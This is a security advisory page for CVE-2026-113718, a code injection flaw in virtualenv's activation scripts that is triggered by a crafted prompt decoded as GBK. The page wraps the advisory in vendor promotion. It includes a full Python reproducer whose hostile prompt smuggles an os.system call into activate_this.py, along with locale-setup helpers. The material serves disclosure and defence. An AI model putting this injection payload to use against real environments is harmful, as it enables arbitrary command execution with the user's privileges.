CVE-2026-113718

CVE-2026-113718 is a high-severity code injection vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

virtualenv: Xonsh activation literals depend on the script decoding codec

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

Affected code

The relevant 21.14.8 source is in
xonsh quote(),
UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK
or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile
prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
PR #3432 shows the xonsh source-decoding chain and changes quote() to
ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation
review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation
source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation
of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.
Recreate environments with virtualenv 21.14.9 or later.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided
review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside
its activation-state changes. Both branches must retain this quoting rule when integrated.

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script
precedent in GHSA-p58f-9548-mpm2. The
attack requires control of argument data and subsequent user activation; it does not require replacing an executable or
controlling app-data contents.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

Affected versions

virtualenv (< 21.14.9)

Security releases

virtualenv → 21.14.9 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade virtualenv to 21.14.9 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-113718? CVE-2026-113718 is a high-severity code injection vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. Which versions of virtualenv are affected by CVE-2026-113718? virtualenv (pip) versions < 21.14.9 is affected.
  3. Is there a fix for CVE-2026-113718? Yes. CVE-2026-113718 is fixed in 21.14.9. Upgrade to this version or later.
  4. Is CVE-2026-113718 exploitable, and should I be worried? Whether CVE-2026-113718 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-113718 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-113718? Upgrade virtualenv to 21.14.9 or later.

Other vulnerabilities in virtualenv

Stop the waste.
Protect your environment with Kodem.